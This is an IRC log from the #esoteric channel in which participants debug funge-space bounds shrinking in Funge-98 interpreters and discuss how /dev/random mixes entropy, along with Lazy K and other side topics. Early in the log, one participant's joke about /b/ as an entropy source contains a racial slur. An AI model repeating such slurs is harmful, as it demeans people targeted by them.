debugger or such < 1269036631 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :Deewiant, of course you can use o for it < 1269036639 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :if you can change the code to include an o < 1269036650 0 :Deewiant!unknown@unknown.invalid PRIVMSG #esoteric :o would probably be easiest, yeah < 1269036673 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :Deewiant, for efunge I don't *think* there is any "pre-made" dumping function < 1269036677 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :I'm not quite sure XD < 1269036758 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :indeed can't find any < 1269036776 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :I guess it is just a one-liner in an erlang shell for supervisor < 1269036782 0 :ais523!unknown@unknown.invalid PRIVMSG #esoteric :probably a one-liner in funge itself, too < 1269036784 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :somewhat harder for trunk probably < 1269036791 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :ais523, well sure < 1269036802 0 :Deewiant!unknown@unknown.invalid PRIVMSG #esoteric :Hmm, I think I'm fairly sure that cfunge/efunge are not shrinking bounds properly < 1269036810 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :Deewiant, in what way, and test case please < 1269036830 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :"I have a hunch..." "PROVE IT!" < 1269036847 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :alise, I can't do anything without knowing what exactly is the issue < 1269036855 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :because for my tests of it, it worked < 1269036860 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :unlike ccbi1 iirc < 1269036861 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :10:12:43 idea suggested in another channel: use /b/ as an entropy source for /dev/random < 1269036861 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :A cycle of "nigger" does not have very good statistical randomness. < 1269036878 0 :ais523!unknown@unknown.invalid PRIVMSG #esoteric :I assume they do other things too, though < 1269036883 0 :fax!unknown@unknown.invalid PRIVMSG #esoteric :that's why it's called pseudorandom < 1269036893 0 :ais523!unknown@unknown.invalid PRIVMSG #esoteric :and the way /dev/random works, it doesn't matter if you put patterned or non-random data into it < 1269036898 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :alise, you could use the timing of the postings < 1269036909 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :ais523, really? < 1269036915 0 :ais523!unknown@unknown.invalid PRIVMSG #esoteric :AnMaster: yep < 1269036924 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :ais523, does it try to detect patterns and throw such away? < 1269036930 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :(which seems hard to me.) < 1269036930 0 :ais523!unknown@unknown.invalid PRIVMSG #esoteric :AnMaster: it doesn't use the data unchanged < 1269036938 0 :ais523!unknown@unknown.invalid PRIVMSG #esoteric :it uses /entropy/ from the input < 1269036950 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :ais523, well sure, but you can still influence it that way can't you? < 1269036956 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :if you know all the input data sent to it < 1269036964 0 :ais523!unknown@unknown.invalid PRIVMSG #esoteric :basically, assume you have an internal seed, which is true-random (don't worry about where it comes from for now), and some external data < 1269036975 0 :ais523!unknown@unknown.invalid PRIVMSG #esoteric :if you XOR the seed with the external data, it's still just as random < 1269036985 0 :ais523!unknown@unknown.invalid PRIVMSG #esoteric :even if the external data is all zeros < 1269036987 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :ais523, then why does it need the external data at all < 1269036994 0 :ais523!unknown@unknown.invalid PRIVMSG #esoteric :so long as the external data isn't produced with knowledge of what the seed is < 1269037012 0 :augur!unknown@unknown.invalid QUIT :Ping timeout: 265 seconds < 1269037022 0 :ais523!unknown@unknown.invalid PRIVMSG #esoteric :now, that keeps randomness constant; you can also add randomness to a system if you have a measure of how much entropy is in the original message < 1269037025 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :Deewiant, anyway, what is the issue you are seeing < 1269037031 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :10:14:34 I guess you could make a game that uses /b/ as input < 1269037032 0 :ais523!unknown@unknown.invalid PRIVMSG #esoteric :so if you put /dev/zero into /dev/random, you don't get any more entropy < 1269037037 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :10:14:55 kind of like tetris peices, except memes < 1269037037 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :you'd just get DESU all the time < 1269037045 0 :ais523!unknown@unknown.invalid PRIVMSG #esoteric :if you put something like #esoteric in, you get rather more < 1269037049 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :Deewiant, cfunge and efunge use *completely* different ways for doing it btw < 1269037059 0 :ais523!unknown@unknown.invalid PRIVMSG #esoteric :if you put in a true-random source, ideally it would go perfectly < 1269037081 0 :Deewiant!unknown@unknown.invalid PRIVMSG #esoteric :AnMaster: http://paste.pocoo.org/raw/191616/ :-P < 1269037082 0 :fizzie!unknown@unknown.invalid PRIVMSG #esoteric :ais523: I don't think it can actually count the amount of entropy in the input data, though, so you might fool the bits of the code that maintain the estimate to how much data it's safe to give out of /dev/random. < 1269037107 0 :Deewiant!unknown@unknown.invalid PRIVMSG #esoteric :AnMaster: Sorry, that actually creates the o dump as well into /tmp/y < 1269037109 0 :ais523!unknown@unknown.invalid PRIVMSG #esoteric :fizzie: hmm, possibly < 1269037117 0 :Deewiant!unknown@unknown.invalid PRIVMSG #esoteric :AnMaster: You can disable that easily enough on the bottom line if you want to < 1269037119 0 :ais523!unknown@unknown.invalid PRIVMSG #esoteric :although there may be some well-known way to get a lower bound < 1269037122 0 :ais523!unknown@unknown.invalid PRIVMSG #esoteric :which would be good enough < 1269037154 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :Deewiant, issue: those first BAD seems wrong < 1269037162 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :Deewiant, also what is your theory for it hanging there < 1269037163 0 :Deewiant!unknown@unknown.invalid PRIVMSG #esoteric :First BAD? < 1269037164 0 :fizzie!unknown@unknown.invalid PRIVMSG #esoteric :ais523: Also, from the /dev/random sources: < 1269037170 0 :fizzie!unknown@unknown.invalid PRIVMSG #esoteric : * outside observer to measure. Randomness from these sources are < 1269037170 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :BAD: least point should have been ( -1 -1 ) < 1269037170 0 :fizzie!unknown@unknown.invalid PRIVMSG #esoteric : * added to an "entropy pool", which is mixed using a CRC-like function. < 1269037170 0 :fizzie!unknown@unknown.invalid PRIVMSG #esoteric : * This is not cryptographically strong, but it is adequate assuming < 1269037170 0 :fizzie!unknown@unknown.invalid PRIVMSG #esoteric : * the randomness is not chosen maliciously, and it is fast enough that < 1269037170 0 :fizzie!unknown@unknown.invalid PRIVMSG #esoteric : * the overhead of doing it on every interrupt is very reasonable. < 1269037170 0 :fizzie!unknown@unknown.invalid PRIVMSG #esoteric : * As random bytes are mixed into the entropy pool, the routines keep < 1269037171 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :Deewiant, that ^ < 1269037172 0 :fizzie!unknown@unknown.invalid PRIVMSG #esoteric : * an *estimate* of how many bits of randomness have been stored into < 1269037174 0 :fizzie!unknown@unknown.invalid PRIVMSG #esoteric : * the random number generator's internal state. < 1269037178 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :and the greatest point one too < 1269037180 0 :Deewiant!unknown@unknown.invalid PRIVMSG #esoteric :AnMaster: Yes, that's wrong, ignore that. -3 -2 is right < 1269037195 0 :Deewiant!unknown@unknown.invalid PRIVMSG #esoteric :And the greatest point is obviously wrong because I grabbed only the first 200 lines of mycology, not all of it :-P < 1269037197 0 :ais523!unknown@unknown.invalid PRIVMSG #esoteric :fizzie: yep, just determined that myself a different way < 1269037208 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :Deewiant, right. so what is the issue. That it hangs right there? < 1269037213 0 :ais523!unknown@unknown.invalid PRIVMSG #esoteric :/dev/random is basically just /dev/urandom except it blocks when its estimate of the amount of available entropy goes down to 0, IIRC < 1269037216 0 :Deewiant!unknown@unknown.invalid PRIVMSG #esoteric :AnMaster: Nothing hangs for me? < 1269037230 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :Deewiant, well, right after the UNDEF: ) with a negative count reflects and pops 0 times or less than the absolute value of the count < 1269037231 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :line < 1269037233 0 :Deewiant!unknown@unknown.invalid PRIVMSG #esoteric :Maybe the pastebin mangled it... hang on < 1269037234 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :it just locks up < 1269037237 0 :fizzie!unknown@unknown.invalid PRIVMSG #esoteric :ais523: Yes, but additionally the part about using a CRC-like non-strong function for the mixing. < 1269037238 0 :ais523!unknown@unknown.invalid PRIVMSG #esoteric :so malicious input might make it slightly less than true-random, but it should be crypto-secure in any case < 1269037249 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :Deewiant, probably < 1269037257 0 :Deewiant!unknown@unknown.invalid PRIVMSG #esoteric :AnMaster: Yes, it did. Sigh. < 1269037261 0 :ais523!unknown@unknown.invalid PRIVMSG #esoteric :fizzie: you don't need a strong function for the /mixing/, so long as you're only combining data, not replacing < 1269037263 0 :ais523!unknown@unknown.invalid PRIVMSG #esoteric :XOR would be enough < 1269037268 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :Deewiant, you have your own website, use it :P < 1269037274 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :a temp file there < 1269037276 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :in lyx how do you do a single char function name? < 1269037279 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :mathrm? < 1269037283 0 :Deewiant!unknown@unknown.invalid PRIVMSG #esoteric :AnMaster: I'll just host it locally, quicker < 1269037295 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :alise, that would work, if you prefer that font < 1269037296 0 :ais523!unknown@unknown.invalid PRIVMSG #esoteric :alise: for mathematical functions, I just use the default italic-like maths font < 1269037300 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :Deewiant, mhm < 1269037310 0 :ais523!unknown@unknown.invalid PRIVMSG #esoteric :\mathrm is good for things that are supposed to be non-italic < 1269037312 0 :Deewiant!unknown@unknown.invalid PRIVMSG #esoteric :AnMaster: http://tar.us.to:12345/arst.b98 < 1269037326 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :yeah but lyx is all ooh semantic < 1269037347 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :BAD: after spacing top-left corner, y should report least point as ( -2 -1 ), not ( -10 -10 ) < 1269037348 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :what? < 1269037357 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :Deewiant, do you have any storage offset set? < 1269037360 0 :Deewiant!unknown@unknown.invalid PRIVMSG #esoteric :You got -10 -10? O_o < 1269037364 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :Deewiant, that is my first reaction to it < 1269037365 0 :Deewiant!unknown@unknown.invalid PRIVMSG #esoteric :I got -10 -1 here < 1269037380 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :Deewiant, valgrind reports nothing < 1269037385 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :and this is on cfunge < 1269037386 0 :Deewiant!unknown@unknown.invalid PRIVMSG #esoteric :AnMaster: And no, the offset is 0 0 < 1269037393 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :debug build, probably 64-bit *checks* < 1269037396 0 :Deewiant!unknown@unknown.invalid PRIVMSG #esoteric :AnMaster: Maybe your build doesn't have bounds shrinking enabled? < 1269037401 0 :Deewiant!unknown@unknown.invalid PRIVMSG #esoteric :That would cause -10 -10 < 1269037404 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :cfunge 0.9.0 [+con +trace +exact-bounds +ncurses hardened debug asserts p:64 c:64] < 1269037415 0 :Oranjer!~HP_Admini@adsl-71-7-92.cae.bellsouth.net JOIN :#esoteric < 1269037416 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :it has shrinking bounds enabled < 1269037417 0 :Deewiant!unknown@unknown.invalid PRIVMSG #esoteric :cfunge 0.9.0 [+con +trace +exact-bounds +ncurses p:64 c:64 < 1269037425 0 :fizzie!unknown@unknown.invalid PRIVMSG #esoteric :ais523: Well, I guess that's true, assuming you can't deduce the state, and it does seem to use a real hash function for producing the actual output bytes. < 1269037438 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :Deewiant, and ccbi passes this? < 1269037440 0 :Deewiant!unknown@unknown.invalid PRIVMSG #esoteric :AnMaster: Oh right; it depends on whether mycotmp*.tmp existed or not :-P < 1269037448 0 :ais523!unknown@unknown.invalid PRIVMSG #esoteric :fizzie: yep, inability to determine the internal state is the whole basis of all this < 1269037448 0 :Deewiant!unknown@unknown.invalid PRIVMSG #esoteric :AnMaster: ccbi2 does, yes < 1269037453 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :Deewiant, well then, that isn't very reliable < 1269037460 0 :ais523!unknown@unknown.invalid PRIVMSG #esoteric :and one of the requirements for cryptosecure randomness is that you can't deduce the internal state from the output < 1269037462 0 :Deewiant!unknown@unknown.invalid PRIVMSG #esoteric :AnMaster: -2 -1 is right in either case < 1269037476 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :Deewiant, and efunge fails in the exact same way? < 1269037476 0 :Deewiant!unknown@unknown.invalid PRIVMSG #esoteric :AnMaster: That's why it says "after spacing top-left corner" ;-) < 1269037483 0 :ais523!unknown@unknown.invalid PRIVMSG #esoteric :(I know about all this from the whole NetHack RNG-control debacle) < 1269037483 0 :Deewiant!unknown@unknown.invalid PRIVMSG #esoteric :AnMaster: Yes < 1269037486 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :Deewiant, did this one dump? < 1269037491 0 :ais523!unknown@unknown.invalid PRIVMSG #esoteric :(they use a cryptographically secure RNG for tournaments nowadays) < 1269037505 0 :Deewiant!unknown@unknown.invalid PRIVMSG #esoteric :AnMaster: The last line of that does the dump yes < 1269037510 0 :Deewiant!unknown@unknown.invalid PRIVMSG #esoteric :AnMaster: Not the whole thing though < 1269037514 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :Deewiant, what part is dumped? < 1269037517 0 :Deewiant!unknown@unknown.invalid PRIVMSG #esoteric :Maybe I should've looked at that first actually :-P < 1269037523 0 :Deewiant!unknown@unknown.invalid PRIVMSG #esoteric :AnMaster: 20x20 starting at -10 -10 < 1269037533 0 :Deewiant!unknown@unknown.invalid PRIVMSG #esoteric :
ACTION does a 2000x2000
< 1269037538 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :Deewiant, there seems to be stuff in there. Not sure what it actually contains < 1269037565 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :Deewiant, I really don't have time to debug this until next weekend. Have exam on monday and wensday (spelling?) < 1269037576 0 :Deewiant!unknown@unknown.invalid PRIVMSG #esoteric :AnMaster: Wednesday >_< < 1269037576 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :exams* < 1269037586 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :Deewiant, yeah, I always typo it < 1269037596 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :onsdag is so much easier to remember < 1269037627 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :Deewiant, btw that dump contains a form feed I see < 1269037631 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :or something < 1269037633 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :not sure < 1269037640 0 :Deewiant!unknown@unknown.invalid PRIVMSG #esoteric :It shouldn't < 1269037645 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :Deewiant, try less on it < 1269037652 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :Deewiant, isn't formfeed? < 1269037657 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :hm maybe it is hex < 1269037660 0 :Deewiant!unknown@unknown.invalid PRIVMSG #esoteric :No, it's 0xFF < 1269037667 0 :Deewiant!unknown@unknown.invalid PRIVMSG #esoteric :Which is correct < 1269037679 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :and an ^A ^@ and < 1269037685 0 :Deewiant!unknown@unknown.invalid PRIVMSG #esoteric :There's a cell with value -1 at (-2,-1) < 1269037691 0 :Deewiant!unknown@unknown.invalid PRIVMSG #esoteric :Which is that 0xFF < 1269037701 0 :Deewiant!unknown@unknown.invalid PRIVMSG #esoteric :And in the 2000x2000 dump there's nothing to the west or north of that < 1269037710 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :Deewiant, how comes mycoedge and such worked without flaw (correcting for offset error). What are you doing differently here? < 1269037711 0 :Deewiant!unknown@unknown.invalid PRIVMSG #esoteric :And yet cfunge says the minimum point is -10,-1 < 1269037721 0 :Deewiant!unknown@unknown.invalid PRIVMSG #esoteric :AnMaster: Nothing AFAIK < 1269037729 0 :Deewiant!unknown@unknown.invalid PRIVMSG #esoteric :I haven't looked at the mycoedge file at all < 1269037734 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :Deewiant, does efunge say the same thing? < 1269037738 0 :Deewiant!unknown@unknown.invalid PRIVMSG #esoteric :Yes, same thing < 1269037757 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :Deewiant, efunge might be easier to debug. Plus it actually scans the entire funge space for set cells to calc the bounds < 1269037771 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :Deewiant, how are you overwriting them btw? < 1269037773 0 :Deewiant!unknown@unknown.invalid PRIVMSG #esoteric :AnMaster: The dump from cfunge and CCBI is identical < 1269037775 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :plain p? < 1269037781 0 :Deewiant!unknown@unknown.invalid PRIVMSG #esoteric :Except for a newline at EOF < 1269037784 0 :Deewiant!unknown@unknown.invalid PRIVMSG #esoteric :Yes, just p < 1269037796 0 :Deewiant!unknown@unknown.invalid PRIVMSG #esoteric :11g::' \22gp < 1269037817 0 :fizzie!unknown@unknown.invalid PRIVMSG #esoteric :ais523: As an aside, you can get the entropy estimate out by reading /proc/sys/kernel/random/entropy_avail, it seems. < 1269037820 0 :Deewiant!unknown@unknown.invalid PRIVMSG #esoteric :((1,1) being the X coordinate and (2,2) the Y) < 1269037832 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :hm < 1269037851 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :could be an off by one error when marking bounds as inexact I guess < 1269037852 0 :ais523!unknown@unknown.invalid PRIVMSG #esoteric :fizzie: I knew that already (well, not the exact path, but I knew it was in /proc/sys somewhere, and had a good idea of where to find it) < 1269037859 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :since that is about the only part of the algorithm they share < 1269037866 0 :ais523!unknown@unknown.invalid PRIVMSG #esoteric :IIRC there's also a file in there somewhere which gives you UUIDs when you read it < 1269037869 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :lets see what happens if always marking in inexact in efunge < 1269037879 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :(efunge's algorithm is slower but easier to debug) < 1269037880 0 :fizzie!unknown@unknown.invalid PRIVMSG #esoteric :ais523: Yes, it's "next" to that one (same dir). < 1269037945 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :02:59:07 If you are bored, you could take a look at lolcode < 1269037945 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :02:59:11 its funny < 1269037945 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :aaaaaaaaaa < 1269037963 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :03:16:34 Use mIRC < 1269037963 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :okay so that is it < 1269037964 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :03:16:37 Or something < 1269037964 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :03:16:53 I didnt see that one in google chrome plugin page < 1269037964 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :ffffff < 1269037979 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :when I force the bounds to always be considered inexact the issue does not show up < 1269037982 0 :fizzie!unknown@unknown.invalid PRIVMSG #esoteric :AnMaster: Weird that Deewiant didn't mention this, but en:Wednesday is fi:keskiviikko, where fi:viikko == en:week, and fi:keski- is a prefix somewhat like en:mid-; center, middle; so the Finnish word for Wednesday is "mid-week". That's also pretty easy to remember. < 1269037995 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :heh < 1269038004 0 :Deewiant!unknown@unknown.invalid PRIVMSG #esoteric :fizzie: I was concentrating on the more important issue here, sorry ;-) < 1269038013 0 :pineapple!unknown@unknown.invalid PRIVMSG #esoteric :fizzie: sounds very much like the german for wednesday < 1269038026 0 :Deewiant!unknown@unknown.invalid PRIVMSG #esoteric :pineapple: Yes, it's pretty much the same thing. < 1269038042 0 :pikhq!unknown@unknown.invalid PRIVMSG #esoteric :
ACTION starts writing a copying garbage collector for the purpose of writing a "proper" Lazy K interpreter.
< 1269038044 0 :Deewiant!unknown@unknown.invalid PRIVMSG #esoteric :AnMaster: There are some differences between cfunge/efunge in the o dump btw: at least efunge doesn't output the null byte, and then some other things that I can't see but diff claims they differ < 1269038045 0 :pikhq!unknown@unknown.invalid PRIVMSG #esoteric :Why? Cause. < 1269038054 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :Deewiant, what null byte? < 1269038054 0 :fizzie!unknown@unknown.invalid PRIVMSG #esoteric :It's a bit strange that none of the other weekdays have names like that. < 1269038055 0 :ais523!unknown@unknown.invalid PRIVMSG #esoteric :pikhq: can't you refcount Lazy K? < 1269038061 0 :Deewiant!unknown@unknown.invalid PRIVMSG #esoteric :AnMaster: The null byte in the source of mycology < 1269038062 0 :pikhq!unknown@unknown.invalid PRIVMSG #esoteric :ais523: No. < 1269038067 0 :ais523!unknown@unknown.invalid PRIVMSG #esoteric :hmm, really? < 1269038069 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :Deewiant, well, should it output it? < 1269038071 0 :pikhq!unknown@unknown.invalid PRIVMSG #esoteric :Cyclic data structures are quite possible. < 1269038076 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :Deewiant, I have no clue why it wouldn't be doing it < 1269038078 0 :pikhq!unknown@unknown.invalid PRIVMSG #esoteric :Can you refcount lambda calculus? < 1269038079 0 :ais523!unknown@unknown.invalid PRIVMSG #esoteric :I thought most combinator langs had no way to produce cyclic data structures < 1269038085 0 :Deewiant!unknown@unknown.invalid PRIVMSG #esoteric :AnMaster: Well, it should output /something/ there :-P < 1269038086 0 :ais523!unknown@unknown.invalid PRIVMSG #esoteric :Unlambda doesn't, IIRC < 1269038090 0 :pikhq!unknown@unknown.invalid PRIVMSG #esoteric :Lazy K is lazy. < 1269038093 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :Deewiant, I blame the runtime for it. Or something. < 1269038094 0 :ais523!unknown@unknown.invalid PRIVMSG #esoteric :oh, ofc < 1269038103 0 :Deewiant!unknown@unknown.invalid PRIVMSG #esoteric :AnMaster: Alright :-) < 1269038120 0 :pikhq!unknown@unknown.invalid PRIVMSG #esoteric :Fixed pointer combinator = cyclic data structure. ;) < 1269038122 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :Deewiant, anyway I know now the issue in efunge at least is in the code checking if an update might cause bounds to be inexact < 1269038129 0 :ais523!unknown@unknown.invalid PRIVMSG #esoteric :I mean, I vaguely knew it was lazy, but for some reason didn't notice that mattered < 1269038145 0 :Deewiant!unknown@unknown.invalid PRIVMSG #esoteric :AnMaster: Okay, good; just confirming that I'm not wrong ;-) < 1269038146 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :Deewiant, is this not correct: < 1269038152 0 :Deewiant!unknown@unknown.invalid PRIVMSG #esoteric :So I did manage to coax a BAD out of cfunge, ha < 1269038153 0 :pikhq!unknown@unknown.invalid PRIVMSG #esoteric :Anyways. I'm writing this *mostly* because I've never written a garbage collector before. < 1269038153 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric : X =:= MinX; X =:= MaxX; Y =:= MinY; Y =:= MaxY -> < 1269038153 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric : put(fspacebounds_exact, false), < 1269038162 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :Deewiant, can you tell me about that? < 1269038165 0 :Deewiant!unknown@unknown.invalid PRIVMSG #esoteric :AnMaster: For what < 1269038178 0 :Deewiant!unknown@unknown.invalid PRIVMSG #esoteric :AnMaster: I mean, context for this: when putting a space? < 1269038184 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :Deewiant, if X and Y are position of space being written, and Min/Max being bounds yes < 1269038208 0 :Deewiant!unknown@unknown.invalid PRIVMSG #esoteric :AnMaster: And fspacebounds_exact being false means that you then find the new bounds? < 1269038210 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :Deewiant, ; in this case means "or" < 1269038225 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :Deewiant, that being false means that if y asks for it, I will recalculate it < 1269038237 0 :Deewiant!unknown@unknown.invalid PRIVMSG #esoteric :Yeah, okay < 1269038241 0 :Deewiant!unknown@unknown.invalid PRIVMSG #esoteric :Hmm < 1269038250 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :Deewiant, I won't bother for wrapping < 1269038255 0 :Deewiant!unknown@unknown.invalid PRIVMSG #esoteric :It seems right to me < 1269038261 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :Deewiant, well it can't be < 1269038262 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric ::/ < 1269038263 0 :Deewiant!unknown@unknown.invalid PRIVMSG #esoteric :Can't think of why it wouldn't work < 1269038294 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :Deewiant, well, it *doesn't* < 1269038326 0 :fizzie!unknown@unknown.invalid PRIVMSG #esoteric :That's curious, the bot got a "403: Forbidden" from Twitter. < 1269038328 0 :Deewiant!unknown@unknown.invalid PRIVMSG #esoteric :AnMaster: Are you sure all the values are correct to begin with? < 1269038336 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :fizzie, mhm maybe they dislike bots < 1269038347 0 :Deewiant!unknown@unknown.invalid PRIVMSG #esoteric :AnMaster: MinX, MaxX, MinY, MaxY I mean; and even X,Y I suppose although that's less likely < 1269038374 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :Deewiant, well, pretty sure < 1269038387 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :plus if I swapped them it would have caused issues elsewhere already I think < 1269038403 0 :Deewiant!unknown@unknown.invalid PRIVMSG #esoteric :My best guess is that one of them is wrong somehow < 1269038407 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :Deewiant, I suspect it must be an off by one error < 1269038413 0 :Deewiant!unknown@unknown.invalid PRIVMSG #esoteric :Something like that < 1269038415 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :like, bounds not being that exactly < 1269038424 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :as in, they are one larger or whatever < 1269038428 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :but that would be silly < 1269038451 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :Deewiant, since it is basically only updated in one function, and I see nothing wrong there < 1269038469 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :Deewiant, did the bounds only grow to -10, -10? Or did they grow even further? < 1269038478 0 :fizzie!unknown@unknown.invalid PRIVMSG #esoteric :AnMaster: They have quite a lot of bots already, though. There's e.g. big_ben_CLOCK, which auto-tweets something like "BONG BONG BONG BONG BONG BONG" every hour, with the correct number of BONGs of course. < 1269038492 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :fizzie, hm okay < 1269038514 0 :fizzie!unknown@unknown.invalid PRIVMSG #esoteric :Incidentally, that one has 47,157 followers; fungot has 6. Still quite some way to go there! < 1269038528 0 :Deewiant!unknown@unknown.invalid PRIVMSG #esoteric :AnMaster: If it did the o testing i.e. you had free mycotmp, to -10,-10; otherwise to -3,-2 < 1269038547 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :hrrm < 1269038571 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :Deewiant, the code for recalculating bounds must be correct, since if I force it to be used all the time, then it works < 1269038599 0 :Deewiant!unknown@unknown.invalid PRIVMSG #esoteric :Right < 1269038619 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :the code for growing the bounds. well if they grow to one too large that would cause mycology to complain in the y test already wouldn't it? < 1269038632 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :(or one too small if it comes to that) < 1269038633 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :big_ben_clock is wonderful < 1269038665 0 :Deewiant!unknown@unknown.invalid PRIVMSG #esoteric :AnMaster: The y test is before the -10 -10 bounds; but yes, cfunge and efunge both put the correct -3,-2 there < 1269038681 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :Deewiant, lets see what happens if we always set bounds to inexact on writing space < 1269038707 0 